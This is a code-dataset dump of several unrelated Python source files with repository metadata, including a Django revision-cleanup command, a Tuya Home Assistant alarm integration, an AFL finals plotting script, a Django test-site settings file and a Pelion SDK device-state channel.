2E: Verifying multiple L2Ps mapped to " "non-default L3P == Failed \n") return 0 # Delete all L2Ps and verify that non-default L3P has null L2Ps self._log.info( "\n## Step 3: Delete all L2Ps and verify that non-default " "L3P has no L2P associated\n") for l2pid in l2p_uuid_list: if self.gbpcfg.gbp_policy_cfg_all(0, 'l2p', l2pid) == 0: self._log.info( "\n## Step 3: Delete of L2P %s == Failed\n" % (l2pid)) return 0 if self.gbpverify.gbp_l2l3ntk_pol_ver_all(1, 'l2p', l2pid) != 0: self._log.info( "\n## Step 3A: Verify that L2P got deleted == Failed\n") return 0 if self.gbpverify.gbp_obj_ver_attr_all_values( 'l3p', l3p_uuid, 'l2_policies', l2p_uuid_list) != 0: self._log.info( "\n## Step 3B: Verifying Non-Default L3P has no more " "L2P mapped == Failed \n") return 0 self.test_gbp_l3p_func_1(name_uuid=l3p_uuid, rep_cr=2) self._log.info("\n## TESTCASE_GBP_L3P_FUNC_4: PASSED") return 1 if __name__ == '__main__': main()

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0.133005

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null

0

null

0

1

0

a848423e492401e4b81870e79dad04556d2ff579

6,166

py

Python

onadata/apps/logger/management/commands/delete_revisions.py

ubpd/kobocat

45906e07e8f05c30e3e26bab5570a8ab1ee264db

[ "BSD-2-Clause" ]

null

onadata/apps/logger/management/commands/delete_revisions.py

ubpd/kobocat

45906e07e8f05c30e3e26bab5570a8ab1ee264db

[ "BSD-2-Clause" ]

null

onadata/apps/logger/management/commands/delete_revisions.py

ubpd/kobocat

45906e07e8f05c30e3e26bab5570a8ab1ee264db

[ "BSD-2-Clause" ]

null

# coding: utf-8 from __future__ import unicode_literals, print_function, division, absolute_import from datetime import timedelta import sys from django.db import transaction, models, router, connection from django.utils import timezone from reversion.models import Revision, Version from reversion.management.commands.deleterevisions import Command as RevisionCommand class Command(RevisionCommand): help = "Deletes revisions (by chunks) for a given app [and model]" def add_arguments(self, parser): super(Command, self).add_arguments(parser) parser.add_argument( "--chunks", default=1000, type=int, help="Delete only revisions by batch of `chunks` records.", ) parser.add_argument( "--vacuum", action='store_true', default=False, help="Run `VACUUM` on tables after deletion.", ) parser.add_argument( "--vacuum-full", action='store_true', default=False, help="Run `VACUUM FULL` instead of `VACUUM`.", ) def handle(self, *app_labels, **options): verbosity = options["verbosity"] using = options["using"] model_db = options["model_db"] days = options["days"] keep = options["keep"] chunks = options["chunks"] vacuum_full = options["vacuum_full"] vacuum = options["vacuum"] # Delete revisions. using = using or router.db_for_write(Revision) revisions_to_delete_count = 0 revision_query = models.Q() keep_revision_ids = set() # By default, delete nothing. can_delete = False # Get all revisions for the given revision manager and model. for model in self.get_models(options): if verbosity >= 1: self.stdout.write("Finding stale revisions for {name}".format( name=model._meta.verbose_name, )) # Find all matching revision IDs. model_query = Version.objects.using(using).get_for_model( model, model_db=model_db, ) if keep: overflow_object_ids = list(Version.objects.using(using).get_for_model( model, model_db=model_db, ).order_by().values_list("object_id").annotate( count=models.Count("object_id"), ).filter( count__gt=keep, ).values_list("object_id", flat=True).iterator()) # Only delete overflow revisions. model_query = model_query.filter(object_id__in=overflow_object_ids) for object_id in overflow_object_ids: if verbosity >= 2: self.stdout.write("- Finding stale revisions for {name} #{object_id}".format( name=model._meta.verbose_name, object_id=object_id, )) # But keep the underflow revisions. keep_revision_ids.update(Version.objects.using(using).get_for_object_reference( model, object_id, model_db=model_db, ).values_list("revision_id", flat=True)[:keep].iterator()) # Add to revision query. revision_query |= models.Q( pk__in=model_query.order_by().values_list("revision_id", flat=True) ) # If we have at least one model, then we can delete. can_delete = True if can_delete: revisions_to_delete = Revision.objects.using(using).filter( revision_query, date_created__lt=timezone.now() - timedelta(days=days), ).exclude( pk__in=keep_revision_ids ).order_by() else: revisions_to_delete = Revision.objects.using(using).none() # Print out a message, if feeling verbose. if verbosity >= 1: revisions_to_delete_count = revisions_to_delete.count() chunked_delete_ids = [] chunks_counter = 1 for revision_id in revisions_to_delete.values_list("id", flat=True).iterator(): chunked_delete_ids.append(revision_id) if (chunks_counter % chunks) == 0 or chunks_counter == revisions_to_delete_count: # Wrap into a transaction because of CASCADE, post_delete signals. (e.g. `revision_revision`) with transaction.atomic(using=using): chunked_revisions_to_delete = Revision.objects.filter(id__in=chunked_delete_ids) if verbosity >= 1: progress = "\rDeleting {chunk}/{total} revisions...".format( chunk=chunks_counter, total=revisions_to_delete_count ) sys.stdout.write(progress) sys.stdout.flush() chunked_revisions_to_delete.delete() chunked_delete_ids = [] chunks_counter += 1 # Carriage return print("") if vacuum is True or vacuum_full is True: self._do_vacuum(vacuum_full) print("Done!") def _do_vacuum(self, full=False): cursor = connection.cursor() if full: print("Vacuuming (full) table {}...".format(Revision._meta.db_table)) cursor.execute("VACUUM FULL {}".format(Revision._meta.db_table)) print("Vacuuming (full) table {}...".format(Version._meta.db_table)) cursor.execute("VACUUM FULL {}".format(Version._meta.db_table)) else: print("Vacuuming table {}...".format(Revision._meta.db_table)) cursor.execute("VACUUM {}".format(Revision._meta.db_table)) print("Vacuuming table {}...".format(Version._meta.db_table)) cursor.execute("VACUUM {}".format(Version._meta.db_table)) connection.commit()

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0.032944

0.050913

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0.057377

0

null

0

null

0

1

0

a848bb27e6fc70b43ba99742234a08f7e151bf98

4,466

py

Python

custom_components/tuya_v2/alarm_control_panel.py

nickw444/tuya-home-assistant

acdd69f7b56e4c1e225cdc146d68d48e2c79dafb

[ "MIT" ]

1

2021-07-30T03:07:01.000Z

custom_components/tuya_v2/alarm_control_panel.py

nickw444/tuya-home-assistant

acdd69f7b56e4c1e225cdc146d68d48e2c79dafb

[ "MIT" ]

3

2021-08-14T16:02:31.000Z

2021-10-16T21:27:43.000Z

custom_components/tuya_v2/alarm_control_panel.py

nickw444/tuya-home-assistant

acdd69f7b56e4c1e225cdc146d68d48e2c79dafb

[ "MIT" ]

null

"""Support for Tuya Alarm Control.""" import logging from typing import Callable from homeassistant.components.alarm_control_panel import DOMAIN as DEVICE_DOMAIN from homeassistant.components.alarm_control_panel import ( SUPPORT_ALARM_TRIGGER, AlarmControlPanelEntity, ) from homeassistant.config_entries import ConfigEntry from homeassistant.const import STATE_ALARM_ARMING, STATE_ALARM_TRIGGERED from homeassistant.core import HomeAssistant from homeassistant.helpers.dispatcher import async_dispatcher_connect from homeassistant.helpers.entity_platform import AddEntitiesCallback from tuya_iot import TuyaDevice, TuyaDeviceManager from .base import TuyaHaDevice from .const import ( DOMAIN, TUYA_DEVICE_MANAGER, TUYA_DISCOVERY_NEW, TUYA_HA_DEVICES, TUYA_HA_TUYA_MAP, ) _LOGGER = logging.getLogger(__name__) TUYA_SUPPORT_TYPE = [ "ywbj", # Smoke Detector "rqbj", # Gas Detector "pir", # PIR Detector ] # Smoke Detector # https://developer.tuya.com/en/docs/iot/s?id=K9gf48r5i2iiy DPCODE_SMOKE_SENSOR_STATE = "smoke_sensor_state" DPCODE_GAS_SENSOR_STATE = "gas_sensor_state" DPCODE_PIR = "pir" async def async_setup_entry( hass: HomeAssistant, _entry: ConfigEntry, async_add_entities: AddEntitiesCallback ): """Set up tuya alarm dynamically through tuya discovery.""" _LOGGER.info("alarm init") hass.data[DOMAIN][TUYA_HA_TUYA_MAP].update({DEVICE_DOMAIN: TUYA_SUPPORT_TYPE}) async def async_discover_device(dev_ids): """Discover and add a discovered tuya sensor.""" _LOGGER.info("alarm add->", dev_ids) if not dev_ids: return entities = await hass.async_add_executor_job(_setup_entities, hass, dev_ids) hass.data[DOMAIN][TUYA_HA_DEVICES].extend(entities) async_add_entities(entities) async_dispatcher_connect( hass, TUYA_DISCOVERY_NEW.format(DEVICE_DOMAIN), async_discover_device ) device_manager = hass.data[DOMAIN][TUYA_DEVICE_MANAGER] device_ids = [] for (device_id, device) in device_manager.device_map.items(): if device.category in TUYA_SUPPORT_TYPE: device_ids.append(device_id) await async_discover_device(device_ids) def _setup_entities(hass: HomeAssistant, device_ids: list): """Set up Tuya Switch device.""" device_manager = hass.data[DOMAIN][TUYA_DEVICE_MANAGER] entities = [] for device_id in device_ids: device = device_manager.device_map[device_id] if device is None: continue if DPCODE_SMOKE_SENSOR_STATE in device.status: entities.append( TuyaHaAlarm( device, device_manager, ( lambda d: STATE_ALARM_TRIGGERED if d.status.get(DPCODE_SMOKE_SENSOR_STATE, 1) == "1" else STATE_ALARM_ARMING ), ) ) if DPCODE_GAS_SENSOR_STATE in device.status: entities.append( TuyaHaAlarm( device, device_manager, ( lambda d: STATE_ALARM_TRIGGERED if d.status.get(DPCODE_GAS_SENSOR_STATE, 1) == "1" else STATE_ALARM_ARMING ), ) ) if DPCODE_PIR in device.stastus: entities.append( TuyaHaAlarm( device, device_manager, ( lambda d: STATE_ALARM_TRIGGERED if d.status.get(DPCODE_GAS_SENSOR_STATE, "none") == "pir" else STATE_ALARM_ARMING ), ) ) return entities class TuyaHaAlarm(TuyaHaDevice, AlarmControlPanelEntity): """Tuya Alarm Device.""" def __init__( self, device: TuyaDevice, device_manager: TuyaDeviceManager, sensor_is_on: Callable[..., str], ) -> None: """Init TuyaHaAlarm.""" super().__init__(device, device_manager) self._is_on = sensor_is_on @property def state(self): """Return is alarm on.""" return self._is_on(self.tuya_device) @property def supported_features(self) -> int: """Return the list of supported features.""" return SUPPORT_ALARM_TRIGGER

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0.058846

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0.295567

4,466

142

86

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0.839797

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0.190909

0

null

0

null

0

1

0

a849776d81c960774b6a444083c983385fa4a090

530

py

Python

tests/test_texas_game.py

seaglex/texas

c22579b74fc0473cdc0a4892f7227d6e0a373470

[ "MIT" ]

null

tests/test_texas_game.py

seaglex/texas

c22579b74fc0473cdc0a4892f7227d6e0a373470

[ "MIT" ]

null

tests/test_texas_game.py

seaglex/texas

c22579b74fc0473cdc0a4892f7227d6e0a373470

[ "MIT" ]

null

import unittest from texas import texas_games from texas.judge import TexasJudge class TexasGameTestCase(unittest.TestCase): def test_dividing_money(self): judge = TexasJudge() game = texas_games.NoLimitTexasGame(judge) amounts = game._divide_the_money(500, [300, None, None, None], [0, 0, 1, 2]) self.assertEquals(list(amounts), [150, 350, 0, 0]) amounts = game._divide_the_money(500, [300, 400, 200, None], [0, 0, 1, 1]) self.assertEquals(list(amounts), [150, 250, 0, 100])

37.857143

84

0.669811

72

530

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null

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null

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a84b852a96578b68cecedef7453c37c2c7438549

8,940

py

Python

prelim.py

RyanFrancis0/afl_graphs

c7da6be317cc148c1e442916c45692b20c9abf73

[ "MIT" ]

1

2020-06-16T05:59:51.000Z

prelim.py

RyanFrancis0/afl_graphs

c7da6be317cc148c1e442916c45692b20c9abf73

[ "MIT" ]

null

prelim.py

RyanFrancis0/afl_graphs

c7da6be317cc148c1e442916c45692b20c9abf73

[ "MIT" ]

null

import statistics import ast import os import matplotlib.pyplot as plt import numpy as np import urllib.request from bs4 import BeautifulSoup script_directory = str(os.path.dirname(os.path.realpath(__file__))) file_name = "prelimsavefile.txt" path_to_file = script_directory + '\\' + file_name """ README: If last_season (see constants below) isn't the last season in the AFL in which prelims were played OR you haven't run this file on this computer before (Because of the 120+ webpages that need to be accessed, the amount of processing that needs to be done on that accessed data and the fact that 99.99% of the times you run this file the data doesn't need updating I save the data to a txt file in the folder this program is in rather than gather it anew): 1. change it to the correct season 2. uncomment the RETRIEVE DATA section below 3. run the program 4. close the graph that opens up 5. recomment that section 6. save this file I could've made that above process automatic but couldn't be bothered/didn't want to bother afltables.com every time someone runs this """ #Constants last_season = 2020 #? universalURL = 'https://afltables.com/afl/seas/{}.html' year_started = 1990 # 1897<- interesting colours = {"GoldCoast":"yellow", "Geelong":"royalblue", "Essendon":"red", "Carlton":"navy", "Collingwood":"black", "Melbourne":"lime", "Hawthorn":"brown", "Fitzroy":"grey", "St Kilda":"crimson", "Richmond":"yellow", "North Melbourne":"blue", "Western Bulldogs":"green", "Fremantle":"purple","Greater Western Sydney":"orange", "Brisbane Lions": "orangered", "Port Adelaide":"cyan", "West Coast":"darkgoldenrod", "Sydney":"deeppink", "Adelaide":"royalblue"} #ugh takes so long to write out def getURL(url): stream = urllib.request.urlopen(url) text = stream.read().decode('utf-8') stream.close() return text """ Convert float to 2 decimal place percentage string with percent sign on the end Input (float): f returns (str): f * 100, rouded to 2 decimal, with percent symbol on end """ def p(f): return str(round(100 * f, 2)) + '%' with open(path_to_file, "r") as f: clubs = ast.literal_eval(f.read()) #MAIN: """ RETRIEVE DATA clubs = {} # {"club":[[years total], [years won]]} for k in range(year_started, last_season + 1): text = getURL(universalURL.format(k)) soup = BeautifulSoup(text, 'html.parser') tables = soup.findAll('table') if tables[-2].text != "Grand Final": #1987 & 1924 continue flag = False for i in tables: if flag == True: flag = False data = i.findAll('tr') team1 = data[0].find('a').text team2 = data[1].find('a').text if team1 == "Kangaroos": team1 = "North Melbourne" elif team1 == "Brisbane Bears": team1 = "Brisbane Lions" elif team1 == "Footscray": team1 = "Western Bulldogs" elif team1 == "South Melbourne": team1 = "Sydney" if team2 == "Kangaroos": team2 = "North Melbourne" elif team2 == "Brisbane Bears": team2 = "Brisbane Lions" elif team2 == "Footscray": team2 = "Western Bulldogs" elif team2 == "South Melbourne": team2 = "Sydney" if team1 in clubs: clubs[team1][0].append(k) else: clubs[team1] = [[k], []] if team2 in clubs: clubs[team2][0].append(k) else: clubs[team2] = [[k], []] if i.text == "Preliminary Final": flag = True gfdata = tables[len(tables) - 1].findAll('tr') team1 = gfdata[0].find('a').text team2 = gfdata[1].find('a').text if team1 == "Kangaroos": team1 = "North Melbourne" elif team1 == "Brisbane Bears": team1 = "Brisbane Lions" elif team1 == "Footscray": team1 = "Western Bulldogs" elif team1 == "South Melbourne": team1 = "Sydney" if team2 == "Kangaroos": team2 = "North Melbourne" elif team2 == "Brisbane Bears": team2 = "Brisbane Lions" elif team2 == "Footscray": team2 = "Western Bulldogs" elif team2 == "South Melbourne": team2 = "Sydney" if team1 in clubs: clubs[team1][1].append(k) if k not in clubs[team1][0]: clubs[team1][0].append(k) else: clubs[team1] = [[k], [k]] if team2 in clubs: clubs[team2][1].append(k) if k not in clubs[team2][0]: clubs[team2][0].append(k) else: clubs[team2] = [[k], [k]] with open(path_to_file, "w") as f: f.write(str(clubs)) #""" all_clubs_windows = 0 all_club_window_lengths = [] all_clubs_prelim_distances = [] all_clubs_years_twixt_clusters = [] all_clubs_years_twixt_clusters_1990 = [] prelims_1990 = 0 club_windows_1990 = 0 club_window_lengths_1990 = [] club_prelim_distances_1990 = [] fig = plt.figure() ax = fig.add_subplot(111, alpha=0.7) for i in clubs: ax.set_prop_cycle(color=colours[i]) year_finished = clubs[i][0][-1] years_b4_pre = (clubs[i][0][0] - year_started) * [0] years_since_pre = (last_season + 1 - year_finished) * [len(clubs[i][0])] seasons = list(range(1, len(clubs[i][0]) + 1)) x = (len(years_b4_pre) * [clubs[i][0][0]]) + clubs[i][0] + [last_season + 1] y = years_b4_pre + seasons + [len(clubs[i][0])] wins_y = [seasons[clubs[i][0].index(k)] for k in clubs[i][1]] ax.scatter(clubs[i][1], wins_y) last = clubs[i][0][0] record = [last] total_windows = 0 window_lengths = [] years_between_prelims = np.diff(np.array(clubs[i][0])).tolist() years_between_prelims.append(last_season + 1 - clubs[i][0][-1]) all_clubs_prelim_distances += years_between_prelims years_between_clusters = [] years_between_clusters_1990 = [] flag = True for k in clubs[i][0][1:]: if k > 1990 and flag and clubs[i][0][0] < 1990: years_between_clusters_1990.append(k - 1990) flag = False if k >= 1990: prelims_1990 += 1 if last >= 1990: club_prelim_distances_1990.append(k - last) if k - last < 3: # record.append(k) last = k if k != clubs[i][0][-1]: continue if k != record[-1]: years_between_clusters.append(k - record[-1]) if record[-1] >= 1990: years_between_clusters_1990.append(k - record[-1]) if len(record) > 1: total_windows += 1 all_clubs_windows += len(record) if (record[0] >= 1990): club_windows_1990 += len(record) club_window_lengths_1990.append(record[-1] + 1 - record[0]) window_lengths.append(record[-1] + 1 - record[0]) x2 = [record[0], record[-1]] y2 = [y[x.index(record[0])], y[x.index(record[-1])]] ax.set_prop_cycle(color=colours[i]) ax.plot(x2, y2, ':') record = [k] last = k all_club_window_lengths += window_lengths diff_last_Season_and_last_prelim = last_season + 1 - clubs[i][0][-1] years_between_clusters.append(diff_last_Season_and_last_prelim) years_between_clusters_1990.append(diff_last_Season_and_last_prelim) club_prelim_distances_1990.append(diff_last_Season_and_last_prelim) all_clubs_years_twixt_clusters += years_between_clusters all_clubs_years_twixt_clusters_1990 += years_between_clusters_1990 ax.step(x, y, alpha=0.7, where='post', label=("{} {} {} {} {} {} {} {}".format( i, len(clubs[i][0]), p(len(clubs[i][1])/len(clubs[i][0])), total_windows, round(statistics.mean(window_lengths), 2), round(statistics.mean(years_between_prelims), 2), round(statistics.mean(years_between_clusters), 2), ' ' #round(statistics.mean(years_between_clusters_1990), 2) ))) ax.set_xticks([i for i in range(year_started - int(str(year_started)[-1]), (last_season + (last_season % 10) + 10), 10)]) plt.ylabel('Prelim Finals w/ wins as dots ') '''+ p(club_windows_1990/prelims_1990) + " " + str(round(statistics.mean(club_window_lengths_1990), 2)) + " " + str(round(statistics.mean(club_prelim_distances_1990), 2)) + " " + str(round(statistics.mean(all_clubs_years_twixt_clusters_1990), 2)) )''' plt.xlabel('Years') plt.title("Prelim finals by club " + p(all_clubs_windows/sum(len(clubs[i][0]) for i in clubs)) + " " + str(round(statistics.mean(all_club_window_lengths), 2)) + " " + str(round(statistics.mean(all_clubs_prelim_distances), 2)) + " " + str(round(statistics.mean(all_clubs_years_twixt_clusters), 2)) ) plt.legend() plt.minorticks_on() plt.grid(which='minor') plt.grid(which='major', color="black") plt.show()

37.25

487

0.611409

1,219

8,940

4.326497

0.249385

0.023891

0.020478

0.377892

0.300531

0.274744

0.188093

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0.047321

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8,940

240

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37.25

0.7375

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0

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0

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0.016949

false

0

0.059322

0.008475

0.09322

0

null

0

null

0

1

0

a84c6f19fcf928a5eaad205c482d3ee5050bf93d

1,377

py

Python

com/shbak/effective_python/_01_example/_57_do_not_create_thread_when_fan_out/main.py

sanghyunbak/effective_python

e35d880c47e988607e4a11aa6eb6b62ae887688a

[ "Apache-2.0" ]

null

com/shbak/effective_python/_01_example/_57_do_not_create_thread_when_fan_out/main.py

sanghyunbak/effective_python

e35d880c47e988607e4a11aa6eb6b62ae887688a

[ "Apache-2.0" ]

null

com/shbak/effective_python/_01_example/_57_do_not_create_thread_when_fan_out/main.py

sanghyunbak/effective_python

e35d880c47e988607e4a11aa6eb6b62ae887688a

[ "Apache-2.0" ]

null

import contextlib import io from threading import Lock, Thread from com.shbak.effective_python._01_example._56_when_need_concurrent.main import Grid, step_cell ALIVE = '*' EMPTY = '-' class LockingGrid(Grid): def __init__(self, height, width): super().__init__(height, width) self.lock = Lock() def __str__(self): with self.lock: return super().__str__() def get(self, y, x): with self.lock: return super().get(y, x) def set(self, y, x, state): with self.lock: return super().set(y, x, state) def simulated_threaded(grid): next_grid = LockingGrid(grid.height, grid.width) threads = [] for y in range(grid.height): for x in range(grid.width): args = (y, x, grid.get, next_grid.set) thread = Thread(target=step_cell, args=args) thread.start() # fan out threads.append(thread) for thread in threads: thread.join() # fan in return next_grid def error_raise(): raise OSError('I/O problam occur!') def thread_redirect_stderr_to_string_io(): fake_stderr = io.StringIO() with contextlib.redirect_stderr(fake_stderr): thread = Thread(target=error_raise()) thread.start() thread.join() if __name__ == '__main__': thread_redirect_stderr_to_string_io()

22.95

96

0.626725

180

1,377

4.505556

0.377778

0.01233

0.04439

0.066584

0.159063

0.073983

0

0.003925

0.259985

1,377

59

97

23.338983

0.791953

0.010167

0

0.170732

0

0.020588

0

1

0.170732

false

0

0.097561

0

0.390244

0

null

0

null

0

1

0

a84dfd15f39f42c196fa2a0525db207d2d2d2d42

612

py

Python

util/csv_format.py

lightfar125/lotto-predict

f8b5348dd8336609d24cefc57f237976a6a3f3da

[ "Unlicense" ]

6

2020-04-01T03:09:19.000Z

2022-01-18T14:43:58.000Z

util/csv_format.py

lightfar125/lotto-predict

f8b5348dd8336609d24cefc57f237976a6a3f3da

[ "Unlicense" ]

null

util/csv_format.py

lightfar125/lotto-predict

f8b5348dd8336609d24cefc57f237976a6a3f3da

[ "Unlicense" ]

4

2020-01-29T06:26:24.000Z

2022-01-14T12:12:57.000Z

# Process scraped csv into correct format import csv from pathlib import Path from dateutil import parser path = Path() data_folder = 'data' infile = path / data_folder / '2019.csv' outfile = path / data_folder / '2019_formatted.csv' with open(infile, 'r') as in_csv: reader = csv.reader(in_csv, delimiter=',') with open(outfile, 'w', newline='') as out_csv: writer = csv.writer(out_csv, delimiter=',') for r in reversed(list(reader)): dt = parser.parse(r[0]) newrow = [dt.date(), r[1], r[2], r[3], r[4], r[5], r[6], r[7]] writer.writerow(newrow)

27.818182

74

0.619281

92

612

4.032609

0.48913

0.06469

0.113208

0.097035

0

0.033827

0.227124

612

21

75

29.142857

0.750529

0.063725

0

0.059545

0

1

0

false

0

0.2

0

0.2

0

null

0

null

0

1

0

a84e19a2090b65754703d534e8ab228e0ef2d3d1

6,060

py

Python

testsite/settings.py

djaodjin/djaodjin-multitier

0d683cbdeca74dfe3bd3f2c5792dbdd2de52d639

[ "BSD-2-Clause" ]

8

2015-07-26T18:33:21.000Z

2021-06-25T09:40:11.000Z

testsite/settings.py

djaodjin/djaodjin-multitier

0d683cbdeca74dfe3bd3f2c5792dbdd2de52d639

[ "BSD-2-Clause" ]

8

2019-01-30T10:02:25.000Z

2021-07-30T23:22:45.000Z

testsite/settings.py

djaodjin/djaodjin-multitier

0d683cbdeca74dfe3bd3f2c5792dbdd2de52d639

[ "BSD-2-Clause" ]

5

2015-09-05T20:24:45.000Z

2020-08-24T18:09:17.000Z

""" Django settings for testsite project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) APP_NAME = os.path.basename(BASE_DIR) def load_config(confpath): ''' Given a path to a file, parse its lines in ini-like format, and then set them in the current namespace. ''' # todo: consider using something like ConfigObj for this: # http://www.voidspace.org.uk/python/configobj.html import re, sys if os.path.isfile(confpath): sys.stderr.write('config loaded from %s\n' % confpath) with open(confpath) as conffile: line = conffile.readline() while line != '': if not line.startswith('#'): look = re.match(r'(\w+)\s*=\s*(.*)', line) if look: value = look.group(2) \ % {'LOCALSTATEDIR': BASE_DIR + '/var'} try: # Once Django 1.5 introduced ALLOWED_HOSTS (a tuple # definitely in the site.conf set), we had no choice # other than using eval. The {} are here to restrict # the globals and locals context eval has access to. # pylint: disable=eval-used setattr(sys.modules[__name__], look.group(1).upper(), eval(value, {}, {})) except Exception: raise line = conffile.readline() else: sys.stderr.write('warning: config file %s does not exist.\n' % confpath) load_config(os.path.join(BASE_DIR, 'credentials')) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/ # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['localhost'] # Application definition INSTALLED_APPS = ( 'django_extensions', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'multitier', 'testsite', ) MIDDLEWARE = ( 'multitier.middleware.SiteMiddleware', 'multitier.middleware.SetRemoteAddrFromForwardedFor', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) MIDDLEWARE_CLASSES = MIDDLEWARE ROOT_URLCONF = 'testsite.urls' WSGI_APPLICATION = 'testsite.wsgi.application' # Templates # --------- TEMPLATE_DEBUG = True # Django 1.7 and below TEMPLATE_LOADERS = ( 'multitier.loaders.django.Loader', 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django.core.context_processors.media', 'django.core.context_processors.static', 'multitier.context_processors.site', 'multitier.context_processors.features_debug' ) TEMPLATE_DIRS = ( BASE_DIR + '/testsite/templates', ) # Django 1.8+ TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': TEMPLATE_DIRS, 'OPTIONS': { 'context_processors': [proc.replace( 'django.core.context_processors', 'django.template.context_processors') for proc in TEMPLATE_CONTEXT_PROCESSORS], 'loaders': TEMPLATE_LOADERS}, }, ] # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASE_ROUTERS = ('multitier.routers.SiteRouter',) DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite') } } if os.getenv('MULTITIER_DB_FILE'): MULTITIER_DB_FILE = os.getenv('MULTITIER_DB_FILE') MULTITIER_DB_NAME = os.path.splitext( os.path.basename(MULTITIER_DB_FILE))[0] DATABASES.update({MULTITIER_DB_NAME: { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': MULTITIER_DB_FILE, }}) # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True MEDIA_URL = '/media/' MEDIA_ROOT = BASE_DIR + '/testsite/media' # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ STATIC_ROOT = BASE_DIR + '/testsite/static' STATIC_URL = '/static/' LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'logfile':{ 'level':'DEBUG', 'class':'logging.StreamHandler', }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'multitier': { 'handlers': ['logfile'], 'level': 'DEBUG', 'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, # 'django.db.backends': { # 'handlers': ['logfile'], # 'level': 'DEBUG', # 'propagate': True, # }, } } LOGIN_REDIRECT_URL = 'accounts_profile'

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null

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null

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1

0

a84e8a6736cf9d27a7da833746cbb7a06fdccfc8

3,774

py

Python

src/mbed_cloud/subscribe/channels/device_state_changes.py

GQMai/mbed-cloud-sdk-python

76ef009903415f37f69dcc5778be8f5fb14c08fe

[ "Apache-2.0" ]

12

2017-12-28T11:18:43.000Z

2020-10-04T12:11:15.000Z

src/mbed_cloud/subscribe/channels/device_state_changes.py

GQMai/mbed-cloud-sdk-python

76ef009903415f37f69dcc5778be8f5fb14c08fe

[ "Apache-2.0" ]

50

2017-12-21T12:50:41.000Z

2020-01-13T16:07:08.000Z

src/mbed_cloud/subscribe/channels/device_state_changes.py

GQMai/mbed-cloud-sdk-python

76ef009903415f37f69dcc5778be8f5fb14c08fe

[ "Apache-2.0" ]

8

2018-04-25T17:47:29.000Z

2019-08-29T06:38:27.000Z

# -------------------------------------------------------------------------- # Pelion Device Management SDK # (C) COPYRIGHT 2017 Arm Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -------------------------------------------------------------------------- """A Channels API module""" from __future__ import absolute_import from mbed_cloud.subscribe.channels.channel import ChannelIdentifiers from mbed_cloud.subscribe.channels.channel import ChannelSubscription from mbed_cloud.subscribe.subscribe import expand_dict_as_keys class DeviceStateChanges(ChannelSubscription): """Triggers on changes to registration state of devices""" def __init__(self, device_id=None, **extra_filters): """Triggers on changes to registration state of devices .. warning:: This functionality is considered experimental; the interface may change in future releases :param device_id: a device identifier :param extra_filters: additional filters e.g. dict(channel=API_CHANNELS.registrations) """ super(DeviceStateChanges, self).__init__() self._route_keys = expand_dict_as_keys(dict( channel=[ ChannelIdentifiers.de_registrations, ChannelIdentifiers.reg_updates, ChannelIdentifiers.registrations_expired, ChannelIdentifiers.registrations, ], )) self._optional_filters = {} if device_id is not None: self._optional_filters['device_id'] = device_id self._optional_filters.update(extra_filters) @staticmethod def _map_resource_data(resource_data): attribute_map = { "path": "path", "rt": "type", "ct": "content_type", "obs": "observable" } new_items = map( lambda item: (item[1], resource_data.get(item[0], None)), attribute_map.items() ) return dict(new_items) @staticmethod def _map_endpoint_data(endpoint_data): attribute_map = { "ep": "device_id", "original_ep": "alias", "ept": "device_type", "q": "queue_mode", "channel": "channel" } output = dict(map( lambda item: (item[1], endpoint_data.get(item[0], None)), attribute_map.items() )) output["resources"] = list(map( DeviceStateChanges._map_resource_data, endpoint_data.get("resources", []) )) return output def start(self): """Start the channel""" super(DeviceStateChanges, self).start() # n.b. No true start/stop implementation as DeviceState is permanently subscribed self._api.ensure_notifications_thread() def notify(self, data): """Notify this channel of inbound data""" string_channels = { ChannelIdentifiers.de_registrations, ChannelIdentifiers.registrations_expired } if data['channel'] in string_channels: message = {'device_id': data["value"], 'channel': data["channel"]} else: message = DeviceStateChanges._map_endpoint_data(data) return super(DeviceStateChanges, self).notify(message)

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3,774

107

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35.271028

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0.080645

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0.209677

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null

0

null

0

1

0

a84f9de68045c4d14dd04bfc02dff0e790085a22

2,452

py

Python

tests/rtllib/test_barrel.py

ryoon/PyRTL

71a927afa6e8a1a00204cf42abde2514867c921e

[ "BSD-3-Clause" ]

null

tests/rtllib/test_barrel.py

ryoon/PyRTL

